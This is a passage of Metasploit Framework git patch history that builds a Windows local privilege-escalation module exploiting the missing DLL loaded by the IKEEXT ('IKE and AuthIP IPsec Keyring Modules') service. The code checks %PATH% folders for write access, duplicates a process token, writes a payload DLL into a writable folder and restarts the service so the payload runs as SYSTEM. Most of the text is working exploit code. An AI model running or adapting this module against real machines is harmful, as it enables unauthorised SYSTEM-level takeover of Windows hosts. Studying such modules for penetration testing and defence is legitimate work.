Metasploit3 < Msf::Exploit::Local if !check_service_exists?(@service_name) return Exploit::CheckCode::Safe else - if service_info['Startup'] == 'Disabled' - print_error("Service is Disabled, so will be unable to exploit unless account has correct permissions...") + vprint_status(service_info) + + case service_info['Startup'] + when 'Disabled' + print_error("Service startup is Disabled, so will be unable to exploit unless account has correct permissions...") return Exploit::CheckCode::Safe + when 'Manual' + print_error("Service startup is Manual, so will be unable to exploit unless account has correct permissions...") + return Exploit::CheckCode::Safe + when 'Auto' + print_good("Service is set to Automatically start...") end if check_search_path @@ -111,11 +120,11 @@ class Metasploit3 < Msf::Exploit::Local end def check_system_path - print_status("Checking SYSTEM PATH folders for write access...") + print_status("Checking %PATH% folders for write access...") result = registry_getvaldata('HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment', 'Path') if result.nil? - print_error("Unable to retrieve SYSTEM PATH from registry.") + print_error("Unable to retrieve %PATH% from registry.") return end @@ -299,5 +308,4 @@ class Metasploit3 < Msf::Exploit::Local end end end - end From 861951f7fd33a0bcc2d6080bd0b066031cea0186 Mon Sep 17 00:00:00 2001 From: Meatballs1 Date: Sun, 30 Dec 2012 14:58:39 +0000 Subject: [PATCH 012/160] Add exception handling around get_imperstoken --- .../exploits/windows/local/ipsec_keyring_service.rb | 10 +++++++++- 1 file changed, 9 insertions(+), 1 deletion(-) diff --git a/modules/exploits/windows/local/ipsec_keyring_service.rb b/modules/exploits/windows/local/ipsec_keyring_service.rb index 544eaa1e8d..5a94a9265e 100644 --- a/modules/exploits/windows/local/ipsec_keyring_service.rb +++ b/modules/exploits/windows/local/ipsec_keyring_service.rb @@ -213,7 +213,15 @@ class Metasploit3 < Msf::Exploit::Local end def exploit - @token = get_imperstoken() + begin + @token = get_imperstoken() + rescue ::Exception => e + # Failure due to timeout, access denied, etc. + vprint_error("Error #{e.message} while using get_imperstoken()") + vprint_error(e.backtrace) + return + end + @reboot = false if is_system? From df21836aa0a98f7883310408e176240a1c238765 Mon Sep 17 00:00:00 2001 From: Meatballs1 Date: Thu, 3 Jan 2013 19:43:25 +0000 Subject: [PATCH 013/160] Use fail_with --- .../windows/local/ipsec_keyring_service.rb | 30 +++++++------------ 1 file changed, 11 insertions(+), 19 deletions(-) diff --git a/modules/exploits/windows/local/ipsec_keyring_service.rb b/modules/exploits/windows/local/ipsec_keyring_service.rb index 5a94a9265e..a4456cdfb3 100644 --- a/modules/exploits/windows/local/ipsec_keyring_service.rb +++ b/modules/exploits/windows/local/ipsec_keyring_service.rb @@ -216,10 +216,7 @@ class Metasploit3 < Msf::Exploit::Local begin @token = get_imperstoken() rescue ::Exception => e - # Failure due to timeout, access denied, etc. - vprint_error("Error #{e.message} while using get_imperstoken()") - vprint_error(e.backtrace) - return + fail_with(Exploit::Failure::Unknown, "Error while using get_imperstoken()") end @reboot = false @@ -231,31 +228,28 @@ class Metasploit3 < Msf::Exploit::Local print_status("Checking service exists...") if !check_service_exists?(@service_name) - return + fail_with(Exploit::Failure::NoTarget, "The service doesn't exist.") end if session_arch == ARCH_X64 - print_error("Exploit currently does not work with x64.") - #return + fail_with(Exploit::Failure::NoTarget, "Exploit currently does not work with x64.") end if is_uac_enabled? - print_error("UAC is enabled results, may get false negatives on writeable folders.") + print_warning("UAC is enabled results, may get false negatives on writeable folders.") end if datastore['DIR'].empty? # If DLL already exists in system folders, we dont want to overwrite by accident if check_search_path - print_error("DLL already exists in system folders.") - return + fail_with(Exploit::Failure::NotVulnerable, "DLL already exists in system folders.") end file_path = check_system_path file_path ||= check_dirs # If no paths are writable check to see if we can create any of the non-existant dirs if file_path.nil? - print_error("Unable to write to any folders in the PATH, aborting...") - return + fail_with(Exploit::Failure::NotVulnerable, "Unable to write to any folders in the PATH, aborting...") end else # Use manually selected Dir @@ -273,8 +267,7 @@ class Metasploit3 < Msf::Exploit::Local # Still disabled if service_information['Startup'] == 'Disabled' - print_error("Unable to enable service, aborting...") - return + fail_with(Exploit::Failure::NotVulnerable, "Unable to enable service, aborting...") end end @@ -290,9 +283,8 @@ class Metasploit3 < Msf::Exploit::Local @write_success = true rescue Rex::Post::Meterpreter::RequestError => e # Can't write the file, can't go on - print_error(e.message) @write_success = false - return + fail_with(Exploit::Failure::Unknown, e.message) end # @@ -309,17 +301,17 @@ class Metasploit3 < Msf::Exploit::Local if service_start(@service_name) == 0 print_status("Service started...") else - print_error("Unable to start service.") + fail_with(Exploit::Failure::Unknown, "Unable to start service.") end else - print_error("Unable to stop service.") + fail_with(Exploit::Failure::Unknown, "Unable to stop service") end elsif status == 0 print_status("Service started...") end rescue ::Exception => e if service_information['Startup'] == 'Manual' - print_error("Unable to start service, and it does not auto start, cleaning up...") + fail_with(Exploit::Failure::Unknown, "Unable to start service, and it does not auto start, cleaning up...") else @reboot = true print_status("Unable to start service, manually create handler and wait for a reboot...") From 54e4557855d1b45702991101fe89092e05973d28 Mon Sep 17 00:00:00 2001 From: Meatballs1 Date: Thu, 3 Jan 2013 20:07:41 +0000 Subject: [PATCH 014/160] Leave handler running for reboot --- .../windows/local/ipsec_keyring_service.rb | 26 ++++++++++--------- 1 file changed, 14 insertions(+), 12 deletions(-) diff --git a/modules/exploits/windows/local/ipsec_keyring_service.rb b/modules/exploits/windows/local/ipsec_keyring_service.rb index a4456cdfb3..e551445ee2 100644 --- a/modules/exploits/windows/local/ipsec_keyring_service.rb +++ b/modules/exploits/windows/local/ipsec_keyring_service.rb @@ -198,14 +198,12 @@ class Metasploit3 < Msf::Exploit::Local end def cleanup - unless @reboot - if @write_success && @dll_file_path - begin - file_rm(@dll_file_path) - vprint_status("Deleted file #{@dll_file_path}") - rescue ::Exception => e - print_error("Error deleting #{@dll_file_path} : #{e}") # Warn users if cleanup fails - end + if @write_success && @dll_file_path + begin + file_rm(@dll_file_path) + vprint_status("Deleted file #{@dll_file_path}") + rescue ::Exception => e + print_error("Error deleting #{@dll_file_path} : #{e}") # Warn users if cleanup fails end end @@ -219,8 +217,6 @@ class Metasploit3 < Msf::Exploit::Local fail_with(Exploit::Failure::Unknown, "Error while using get_imperstoken()") end - @reboot = false - if is_system? print_error("Current user is already SYSTEM, aborting.") return @@ -313,8 +309,14 @@ class Metasploit3 < Msf::Exploit::Local if service_information['Startup'] == 'Manual' fail_with(Exploit::Failure::Unknown, "Unable to start service, and it does not auto start, cleaning up...") else - @reboot = true - print_status("Unable to start service, manually create handler and wait for a reboot...") + if job_id + print_status("Unable to start service, handler running waiting for a reboot...") + while(true) + select(nil,nil,nil,1) + end + else + print_status("Unable to start service, use exploit -j to run as a background job and wait for a reboot...") + end end end end From fde267bea44725ebd67e289addb5882ef1160247 Mon Sep 17 00:00:00 2001 From: Meatballs1 Date: Thu, 3 Jan 2013 20:21:05 +0000 Subject: [PATCH 015/160] Break on session --- modules/exploits/windows/local/ipsec_keyring_service.rb | 1 + 1 file changed, 1 insertion(+) diff --git a/modules/exploits/windows/local/ipsec_keyring_service.rb b/modules/exploits/windows/local/ipsec_keyring_service.rb index e551445ee2..0cb97e1d70 100644 --- a/modules/exploits/windows/local/ipsec_keyring_service.rb +++ b/modules/exploits/windows/local/ipsec_keyring_service.rb @@ -312,6 +312,7 @@ class Metasploit3 < Msf::Exploit::Local if job_id print_status("Unable to start service, handler running waiting for a reboot...") while(true) + break if session_created? select(nil,nil,nil,1) end else From 1bc5fd3758e7fc70bdef1ca2ae873b91b89ccb12 Mon Sep 17 00:00:00 2001 From: Meatballs1 Date: Sun, 20 Jan 2013 00:29:38 +0000 Subject: [PATCH 016/160] Changed to warnings --- modules/exploits/windows/local/ipsec_keyring_service.rb | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/modules/exploits/windows/local/ipsec_keyring_service.rb b/modules/exploits/windows/local/ipsec_keyring_service.rb index 0cb97e1d70..13f68c5e67 100644 --- a/modules/exploits/windows/local/ipsec_keyring_service.rb +++ b/modules/exploits/windows/local/ipsec_keyring_service.rb @@ -74,12 +74,12 @@ class Metasploit3 < Msf::Exploit::Local service_info = service_info(service) if service_info.nil? - print_error("Unable to enumerate services.") + print_warning("Unable to enumerate services.") return false end if service_info && service_info['Name'].empty? - print_error("Service #{service} does not exist.") + print_warning("Service #{service} does not exist.") return false else return true @@ -120,7 +120,7 @@ class Metasploit3 < Msf::Exploit::Local dll_path = "#{expand_path(path)}\\#{dll}" if file_exist?(dll_path) - print_error("DLL already exists at #{dll_path}...") + print_warning("DLL already exists at #{dll_path}...") return true end end From 174ab31010c3e8eff18627696572afb3c186203c Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Thu, 31 Jan 2013 12:59:55 +0100 Subject: [PATCH 017/160] Moving reused methods to Accounts mixin --- lib/msf/core/post/windows/accounts.rb | 55 +++++++++++++++++ .../windows/local/ipsec_keyring_service.rb | 47 +-------------- modules/post/windows/gather/enum_dirperms.rb | 60 +------------------ 3 files changed, 57 insertions(+), 105 deletions(-) diff --git a/lib/msf/core/post/windows/accounts.rb b/lib/msf/core/post/windows/accounts.rb index d035156721..488994bae8 100644 --- a/lib/msf/core/post/windows/accounts.rb +++ b/lib/msf/core/post/windows/accounts.rb @@ -177,6 +177,61 @@ module Accounts :integrity_label ][enum_value - 1] end + + # Gets an impersonation token from the primary token. + # + # @return [Fixnum] the impersonate token handle identifier if success, 0 if + # fails + def get_imperstoken + adv = session.railgun.advapi32 + tok_all = "TOKEN_ASSIGN_PRIMARY |TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY | " + tok_all << "TOKEN_QUERY_SOURCE | TOKEN_ADJUST_PRIVILEGES | TOKEN_ADJUST_GROUPS" + tok_all << " | TOKEN_ADJUST_DEFAULT" + + pid = session.sys.process.open.pid + pr = session.sys.process.open(pid, PROCESS_ALL_ACCESS) + pt = adv.OpenProcessToken(pr.handle, tok_all, 4) #get handle to primary token + it = adv.DuplicateToken(pt["TokenHandle"],2, 4) # get an impersonation token + if it["return"] #if it fails return 0 for error handling + return it["DuplicateTokenHandle"] + else + return 0 + end + end + + # Gets the permissions granted from the Security Descriptor of a directory + # to an access token. + # + # @param [String] dir the directory path + # @param [Fixnum] token the access token + # @return [String, nil] a String describing the permissions or nil + def check_dir(dir, token) + adv = session.railgun.advapi32 + si = "OWNER_SECURITY_INFORMATION | GROUP_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION" + result = "" + + #define generic mapping structure + gen_map = [0,0,0,0] + gen_map = gen_map.pack("L") + + #get Security Descriptor for the directory + f = adv.GetFileSecurityA(dir, si, 20, 20, 4) + f = adv.GetFileSecurityA(dir, si, f["lpnLengthNeeded"], f["lpnLengthNeeded"], 4) + sd = f["pSecurityDescriptor"] + + #check for write access, called once to get buffer size + a = adv.AccessCheck(sd, token, "ACCESS_READ | ACCESS_WRITE", gen_map, 0, 0, 4, 8) + len = a["PrivilegeSetLength"] + + r = adv.AccessCheck(sd, token, "ACCESS_READ", gen_map, len, len, 4, 8) + if !r["return"] then return nil end + if r["GrantedAccess"] > 0 then result << "R" end + + w = adv.AccessCheck(sd, token, "ACCESS_WRITE", gen_map, len, len, 4, 8) + if !w["return"] then return nil end + if w["GrantedAccess"] > 0 then result << "W" end + end + end # Accounts end # Windows end # Post diff --git a/modules/exploits/windows/local/ipsec_keyring_service.rb b/modules/exploits/windows/local/ipsec_keyring_service.rb index 13f68c5e67..fc69311d4e 100644 --- a/modules/exploits/windows/local/ipsec_keyring_service.rb +++ b/modules/exploits/windows/local/ipsec_keyring_service.rb @@ -17,6 +17,7 @@ class Metasploit3 < Msf::Exploit::Local include Msf::Post::File include Msf::Post::Windows::Priv include Msf::Post::Windows::Services + include Msf::Post::Windows::Accounts def initialize(info={}) super( update_info( info, @@ -322,51 +323,5 @@ class Metasploit3 < Msf::Exploit::Local end end - # Below copied from enum_dirperms - def get_imperstoken - adv = session.railgun.advapi32 - tok_all = "TOKEN_ASSIGN_PRIMARY |TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY | " - tok_all << "TOKEN_QUERY_SOURCE | TOKEN_ADJUST_PRIVILEGES | TOKEN_ADJUST_GROUPS" - tok_all << " | TOKEN_ADJUST_DEFAULT" - - #get impersonation token handle it["DuplicateTokenhandle"] carries this value - #p = kern.GetCurrentProcess() #get handle to current process - pid = session.sys.process.open.pid - pr = session.sys.process.open(pid, PROCESS_ALL_ACCESS) - pt = adv.OpenProcessToken(pr.handle, tok_all, 4) #get handle to primary token - it = adv.DuplicateToken(pt["TokenHandle"],2, 4) # get an impersonation token - if it["return"] #if it fails return 0 for error handling - return it["DuplicateTokenHandle"] - else - return 0 - end - end - - def check_dir(dir, token) - adv = session.railgun.advapi32 - si = "OWNER_SECURITY_INFORMATION | GROUP_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION" - result = "" - - #define generic mapping structure - gen_map = [0,0,0,0] - gen_map = gen_map.pack("L") - - #get Security Descriptor for the directory - f = adv.GetFileSecurityA(dir, si, 20, 20, 4) - f = adv.GetFileSecurityA(dir, si, f["lpnLengthNeeded"], f["lpnLengthNeeded"], 4) - sd = f["pSecurityDescriptor"] - - #check for write access, called once to get buffer size - a = adv.AccessCheck(sd, token, "ACCESS_READ | ACCESS_WRITE", gen_map, 0, 0, 4, 8) - len = a["PrivilegeSetLength"] - - r = adv.AccessCheck(sd, token, "ACCESS_READ", gen_map, len, len, 4, 8) - if !r["return"] then return nil end - if r["GrantedAccess"] > 0 then result << "R" end - - w = adv.AccessCheck(sd, token, "ACCESS_WRITE", gen_map, len, len, 4, 8) - if !w["return"] then return nil end - if w["GrantedAccess"] > 0 then result << "W" end - end end diff --git a/modules/post/windows/gather/enum_dirperms.rb b/modules/post/windows/gather/enum_dirperms.rb index a3e1635e96..67a2b80ad0 100644 --- a/modules/post/windows/gather/enum_dirperms.rb +++ b/modules/post/windows/gather/enum_dirperms.rb @@ -1,7 +1,3 @@ -## -# $Id$ -## - ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit @@ -15,6 +11,7 @@ require 'msf/core/post/common' class Metasploit3 < Msf::Post include Msf::Post::Common + include Msf::Post::Windows::Accounts def initialize(info={}) super(update_info(info, @@ -26,7 +23,6 @@ class Metasploit3 < Msf::Post %PATH% variable. }, 'License' => MSF_LICENSE, - 'Version' => '$Revision$', 'Platform' => ['win'], 'SessionTypes' => ['meterpreter'], 'Author' => @@ -45,60 +41,6 @@ class Metasploit3 < Msf::Post ], self.class) end - def get_imperstoken - adv = session.railgun.advapi32 - tok_all = "TOKEN_ASSIGN_PRIMARY |TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY | " - tok_all << "TOKEN_QUERY_SOURCE | TOKEN_ADJUST_PRIVILEGES | TOKEN_ADJUST_GROUPS" - tok_all << " | TOKEN_ADJUST_DEFAULT" - - #get impersonation token handle it["DuplicateTokenhandle"] carries this value - #p = kern.GetCurrentProcess() #get handle to current process - pid = session.sys.process.open.pid - pr = session.sys.process.open(pid, PROCESS_ALL_ACCESS) - pt = adv.OpenProcessToken(pr.handle, tok_all, 4) #get handle to primary token - it = adv.DuplicateToken(pt["TokenHandle"],2, 4) # get an impersonation token - if it["return"] #if it fails return 0 for error handling - return it["DuplicateTokenHandle"] - else - return 0 - end - end - - def check_dir(dir, token) - # If path doesn't exist, do not continue - begin - session.fs.dir.entries(dir) - rescue => e - vprint_error("#{e.message}: #{dir}") - return nil - end - - adv = session.railgun.advapi32 - si = "OWNER_SECURITY_INFORMATION | GROUP_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION" - result = "" - - #define generic mapping structure - gen_map = [0,0,0,0] - gen_map = gen_map.pack("L") - - #get Security Descriptor for the directory - f = adv.GetFileSecurityA(dir, si, 20, 20, 4) - f = adv.GetFileSecurityA(dir, si, f["lpnLengthNeeded"], f["lpnLengthNeeded"], 4) - sd = f["pSecurityDescriptor"] - - #check for write access, called once to get buffer size - a = adv.AccessCheck(sd, token, "ACCESS_READ | ACCESS_WRITE", gen_map, 0, 0, 4, 8) - len = a["PrivilegeSetLength"] - - r = adv.AccessCheck(sd, token, "ACCESS_READ", gen_map, len, len, 4, 8) - if !r["return"] then return nil end - if r["GrantedAccess"] > 0 then result << "R" end - - w = adv.AccessCheck(sd, token, "ACCESS_WRITE", gen_map, len, len, 4, 8) - if !w["return"] then return nil end - if w["GrantedAccess"] > 0 then result << "W" end - end - def enum_subdirs(perm_filter, dpath, maxdepth, token) filter = datastore['FILTER'] filter = nil if datastore['FILTER'] == 'NA' From 769ca6335f8eeb03d73da06dcdc2224599ffb6ee Mon Sep 17 00:00:00 2001 From: Meatballs Date: Fri, 22 Feb 2013 20:09:21 +0000 Subject: [PATCH 018/160] Mrg Juan's changes, stop shadowing --- .../exploits/windows/local/ipsec_keyring_service.rb | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/modules/exploits/windows/local/ipsec_keyring_service.rb b/modules/exploits/windows/local/ipsec_keyring_service.rb index fc69311d4e..239a6da030 100644 --- a/modules/exploits/windows/local/ipsec_keyring_service.rb +++ b/modules/exploits/windows/local/ipsec_keyring_service.rb @@ -72,14 +72,14 @@ class Metasploit3 < Msf::Exploit::Local end def check_service_exists?(service) - service_info = service_info(service) + srv_info = service_info(service) - if service_info.nil? + if srv_info.nil? print_warning("Unable to enumerate services.") return false end - if service_info && service_info['Name'].empty? + if srv_info && srv_info['Name'].empty? print_warning("Service #{service} does not exist.") return false else @@ -88,14 +88,14 @@ class Metasploit3 < Msf::Exploit::Local end def check - service_info = service_info('IKEEXT') + srv_info = service_info('IKEEXT') if !check_service_exists?(@service_name) return Exploit::CheckCode::Safe else vprint_status(service_info) - case service_info['Startup'] + case srv_info['Startup'] when 'Disabled' print_error("Service startup is Disabled, so will be unable to exploit unless account has correct permissions...") return Exploit::CheckCode::Safe From 07475e5483b68dd2e4fbdd0928c68d7429fa0e4b Mon Sep 17 00:00:00 2001 From: Meatballs Date: Fri, 22 Feb 2013 21:22:51 +0000 Subject: [PATCH 019/160] Update --- lib/msf/core/post/windows/accounts.rb | 2 +- modules/exploits/windows/local/ipsec_keyring_service.rb | 8 ++++---- 2 files changed, 5 insertions(+), 5 deletions(-) diff --git a/lib/msf/core/post/windows/accounts.rb b/lib/msf/core/post/windows/accounts.rb index 488994bae8..63d3dbf770 100644 --- a/lib/msf/core/post/windows/accounts.rb +++ b/lib/msf/core/post/windows/accounts.rb @@ -205,7 +205,7 @@ module Accounts # @param [String] dir the directory path # @param [Fixnum] token the access token # @return [String, nil] a String describing the permissions or nil - def check_dir(dir, token) + def check_dir_perms(dir, token) adv = session.railgun.advapi32 si = "OWNER_SECURITY_INFORMATION | GROUP_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION" result = "" diff --git a/modules/exploits/windows/local/ipsec_keyring_service.rb b/modules/exploits/windows/local/ipsec_keyring_service.rb index 239a6da030..851f7107c6 100644 --- a/modules/exploits/windows/local/ipsec_keyring_service.rb +++ b/modules/exploits/windows/local/ipsec_keyring_service.rb @@ -93,7 +93,7 @@ class Metasploit3 < Msf::Exploit::Local if !check_service_exists?(@service_name) return Exploit::CheckCode::Safe else - vprint_status(service_info) + vprint_status(srv_info) case srv_info['Startup'] when 'Disabled' @@ -158,7 +158,7 @@ class Metasploit3 < Msf::Exploit::Local end def check_write_access(path) - perm = check_dir(path, @token) + perm = check_dir_perms(path, @token) if perm and perm.include?('W') print_good ("Write permissions in #{path} - #{perm}") return true @@ -213,9 +213,9 @@ class Metasploit3 < Msf::Exploit::Local def exploit begin - @token = get_imperstoken() + @token = get_imperstoken rescue ::Exception => e - fail_with(Exploit::Failure::Unknown, "Error while using get_imperstoken()") + fail_with(Exploit::Failure::Unknown, "Error while using get_imperstoken: #{e}") end if is_system? From 8bfaa417230aac25a061f7a6124594c8cb285977 Mon Sep 17 00:00:00 2001 From: Meatballs Date: Sat, 27 Apr 2013 20:44:46 +0100 Subject: [PATCH 020/160] Fix x64 dll creation --- lib/msf/core/exploit/exe.rb | 5 +- lib/msf/util/exe.rb | 10 ++-- .../windows/local/ipsec_keyring_service.rb | 58 +++++++++---------- 3 files changed, 34 insertions(+), 39 deletions(-) diff --git a/lib/msf/core/exploit/exe.rb b/lib/msf/core/exploit/exe.rb index e4d632d0ef..12b68a1460 100644 --- a/lib/msf/core/exploit/exe.rb +++ b/lib/msf/core/exploit/exe.rb @@ -73,7 +73,7 @@ module Exploit::EXE pl = opts[:code] pl ||= payload.encoded - if opts[:arch] and opts[:arch] == ARCH_X64 + if opts[:arch] and (opts[:arch] == ARCH_X64 or opts[:arch] == ARCH_X86_64) exe = Msf::Util::EXE.to_win64pe_service(framework, pl, opts) else exe = Msf::Util::EXE.to_win32pe_service(framework, pl, opts) @@ -91,8 +91,7 @@ module Exploit::EXE # NOTE: Only Windows is supported here. pl = opts[:code] pl ||= payload.encoded - - if opts[:arch] and opts[:arch] == ARCH_X64 + if opts[:arch] and (opts[:arch] == ARCH_X64 or opts[:arch] == ARCH_X86_64) dll = Msf::Util::EXE.to_win64pe_dll(framework, pl, opts) else dll = Msf::Util::EXE.to_win32pe_dll(framework, pl, opts) diff --git a/lib/msf/util/exe.rb b/lib/msf/util/exe.rb index 5d6c0e509a..375a6c1a5f 100755 --- a/lib/msf/util/exe.rb +++ b/lib/msf/util/exe.rb @@ -414,7 +414,7 @@ require 'digest/sha1' bo = pe.index('PAYLOAD:') raise RuntimeError, "Invalid Win32 PE EXE subst template: missing \"PAYLOAD:\" tag" if not bo - pe[bo, 8192] = [code].pack("a8192") + pe[bo, code.length] = [code].pack("a*") return pe end @@ -451,7 +451,7 @@ require 'digest/sha1' bo = pe.index('PAYLOAD:') raise RuntimeError, "Invalid Win32 PE Service EXE template: missing \"PAYLOAD:\" tag" if not bo - pe[bo, 8192] = [code].pack("a8192") + pe[bo, code.length] = [code].pack("a*") if name bo = pe.index('SERVICENAME') @@ -480,7 +480,7 @@ require 'digest/sha1' bo = pe.index('PAYLOAD:') raise RuntimeError, "Invalid Win64 PE Service EXE template: missing \"PAYLOAD:\" tag" if not bo - pe[bo, 8192] = [code].pack("a8192") + pe[bo, code.length] = [code].pack("a*") if name bo = pe.index('SERVICENAME') @@ -507,7 +507,7 @@ require 'digest/sha1' bo = pe.index('PAYLOAD:') raise RuntimeError, "Invalid Win32 PE DLL template: missing \"PAYLOAD:\" tag" if not bo - pe[bo, 8192] = [code].pack("a8192") + pe[bo, code.length] = [code].pack("a*") # optional mutex mt = pe.index('MUTEX!!!') @@ -528,7 +528,7 @@ require 'digest/sha1' bo = pe.index('PAYLOAD:') raise RuntimeError, "Invalid Win64 PE DLL template: missing \"PAYLOAD:\" tag" if not bo - pe[bo, 8192] = [code].pack("a8192") + pe[bo, code.length] = [code].pack("a*") # optional mutex mt = pe.index('MUTEX!!!') diff --git a/modules/exploits/windows/local/ipsec_keyring_service.rb b/modules/exploits/windows/local/ipsec_keyring_service.rb index 851f7107c6..912615d9f8 100644 --- a/modules/exploits/windows/local/ipsec_keyring_service.rb +++ b/modules/exploits/windows/local/ipsec_keyring_service.rb @@ -14,6 +14,7 @@ class Metasploit3 < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Exploit::EXE + include Msf::Exploit::FileDropper include Msf::Post::File include Msf::Post::Windows::Priv include Msf::Post::Windows::Services @@ -21,26 +22,30 @@ class Metasploit3 < Msf::Exploit::Local def initialize(info={}) super( update_info( info, - 'Name' => 'IKE and AuthIP IPsec Keyring Modules Missing DLL', - 'Description' => %q{ + 'Name' => 'IKE and AuthIP IPsec Keyring Modules Missing DLL', + 'Description' => %q{ This module exploits a missing DLL loaded by the 'IKE and AuthIP Keyring Modules' service which runs as SYSTEM, and starts automatically in default installations of Vista-Win8. }, - 'References' => + 'References' => [ ['URL', 'https://www.htbridge.com/advisory/HTB23108'], ['URL', 'https://www.htbridge.com/vulnerability/uncontrolled-search-path-element.html'] ], 'DisclosureDate' => "Oct 9 2012", - 'License' => MSF_LICENSE, - 'Author' => + 'License' => MSF_LICENSE, + 'Author' => [ 'Ben Campbell ' ], - 'Platform' => [ 'win'], - 'Targets' => [ ['Windows', {}] ], - 'SessionTypes' => [ "meterpreter" ], + 'Arch' => [ ARCH_X86, ARCH_X86_64 ], + 'Platform' => [ 'win'], + 'Targets' => + [ + [ 'Windows', { } ], + ], + 'SessionTypes' => [ "meterpreter" ], 'DefaultOptions' => { 'EXITFUNC' => 'thread', @@ -131,7 +136,7 @@ class Metasploit3 < Msf::Exploit::Local def check_system_path print_status("Checking %PATH% folders for write access...") - result = registry_getvaldata('HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment', 'Path') + result = registry_getvaldata('HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment', 'Path') if result.nil? print_error("Unable to retrieve %PATH% from registry.") @@ -179,7 +184,7 @@ class Metasploit3 < Msf::Exploit::Local if exist?(path) return dir end - rescue Rex::Post::Meterpreter::RequestError => e + rescue Rex::Post::Meterpreter::RequestError => e vprint_status("Unable to create dir: #{dir} - #{e}") end end @@ -189,7 +194,7 @@ class Metasploit3 < Msf::Exploit::Local def session_arch if sysinfo["Architecture"] =~ /x64/i - return ARCH_X64 + return ARCH_X86_64 elsif sysinfo["Architecture"] =~ /x86/i return ARCH_X86 else @@ -198,20 +203,12 @@ class Metasploit3 < Msf::Exploit::Local end end - def cleanup - if @write_success && @dll_file_path - begin - file_rm(@dll_file_path) - vprint_status("Deleted file #{@dll_file_path}") - rescue ::Exception => e - print_error("Error deleting #{@dll_file_path} : #{e}") # Warn users if cleanup fails - end + def exploit + unless session_arch == payload_instance.arch.first + vprint_error("Session Arch: #{session_arch} Payload Arch: #{payload_instance.arch}") + fail_with(Exploit::Failure::BadConfig, "Wrong Architecture targetted") end - super - end - - def exploit begin @token = get_imperstoken rescue ::Exception => e @@ -228,10 +225,6 @@ class Metasploit3 < Msf::Exploit::Local fail_with(Exploit::Failure::NoTarget, "The service doesn't exist.") end - if session_arch == ARCH_X64 - fail_with(Exploit::Failure::NoTarget, "Exploit currently does not work with x64.") - end - if is_uac_enabled? print_warning("UAC is enabled results, may get false negatives on writeable folders.") end @@ -269,7 +262,7 @@ class Metasploit3 < Msf::Exploit::Local end # Check architecture - dll = generate_payload_dll({:arch => session_arch}) + dll = generate_payload_dll({ :arch => session_arch }) # # Drop the malicious executable into the path @@ -277,10 +270,8 @@ class Metasploit3 < Msf::Exploit::Local print_status("Writing #{dll.length.to_s} bytes to #{@dll_file_path}...") begin write_file(@dll_file_path, dll) - @write_success = true rescue Rex::Post::Meterpreter::RequestError => e # Can't write the file, can't go on - @write_success = false fail_with(Exploit::Failure::Unknown, e.message) end @@ -298,16 +289,20 @@ class Metasploit3 < Msf::Exploit::Local if service_start(@service_name) == 0 print_status("Service started...") else + register_file_for_cleanup(@dll_file_path) fail_with(Exploit::Failure::Unknown, "Unable to start service.") end else + register_file_for_cleanup(@dll_file_path) fail_with(Exploit::Failure::Unknown, "Unable to stop service") end elsif status == 0 print_status("Service started...") + register_file_for_cleanup(@dll_file_path) end rescue ::Exception => e if service_information['Startup'] == 'Manual' + register_file_for_cleanup(@dll_file_path) fail_with(Exploit::Failure::Unknown, "Unable to start service, and it does not auto start, cleaning up...") else if job_id @@ -317,7 +312,8 @@ class Metasploit3 < Msf::Exploit::Local select(nil,nil,nil,1) end else - print_status("Unable to start service, use exploit -j to run as a background job and wait for a reboot...") + register_file_for_cleanup(@dll_file_path) + fail_with(Exploit::Failure::Unknown, "Unable to start service, use exploit -j to run as a background job and wait for a reboot...") end end end From 05426cb61bbbf87a8f5d0f7484a98d5b43a777e4 Mon Sep 17 00:00:00 2001 From: Meatballs Date: Sat, 27 Apr 2013 21:39:29 +0100 Subject: [PATCH 021/160] Fix dir creation --- modules/exploits/windows/local/ipsec_keyring_service.rb | 9 +++++---- 1 file changed, 5 insertions(+), 4 deletions(-) diff --git a/modules/exploits/windows/local/ipsec_keyring_service.rb b/modules/exploits/windows/local/ipsec_keyring_service.rb index 912615d9f8..3635e079e7 100644 --- a/modules/exploits/windows/local/ipsec_keyring_service.rb +++ b/modules/exploits/windows/local/ipsec_keyring_service.rb @@ -26,7 +26,8 @@ class Metasploit3 < Msf::Exploit::Local 'Description' => %q{ This module exploits a missing DLL loaded by the 'IKE and AuthIP Keyring Modules' service which runs as SYSTEM, and starts automatically in default - installations of Vista-Win8. + installations of Vista-Win8. Use reverse_http(s) for greater reliability + when attempting to reboot system. }, 'References' => [ @@ -47,7 +48,7 @@ class Metasploit3 < Msf::Exploit::Local ], 'SessionTypes' => [ "meterpreter" ], 'DefaultOptions' => - { + { 'EXITFUNC' => 'thread', 'WfsDelay' => '5' }, @@ -181,7 +182,7 @@ class Metasploit3 < Msf::Exploit::Local @non_existant_dirs.each do |dir| begin client.fs.dir.mkdir(dir) - if exist?(path) + if exist?(dir) return dir end rescue Rex::Post::Meterpreter::RequestError => e @@ -226,7 +227,7 @@ class Metasploit3 < Msf::Exploit::Local end if is_uac_enabled? - print_warning("UAC is enabled results, may get false negatives on writeable folders.") + print_warning("UAC is enabled, may get false negatives on writeable folders.") end if datastore['DIR'].empty? From 44cae75af1b721613529d9ec13ee3f1c600ef6d9 Mon Sep 17 00:00:00 2001 From: Meatballs Date: Wed, 24 Jul 2013 19:52:59 +0100 Subject: [PATCH 022/160] Cleanup --- lib/msf/core/exploit/exe.rb | 8 +- lib/msf/util/exe.rb | 174 ++++++++++++++---- ...c_keyring_service.rb => ikeext_service.rb} | 45 +++-- 3 files changed, 164 insertions(+), 63 deletions(-) rename modules/exploits/windows/local/{ipsec_keyring_service.rb => ikeext_service.rb} (89%) diff --git 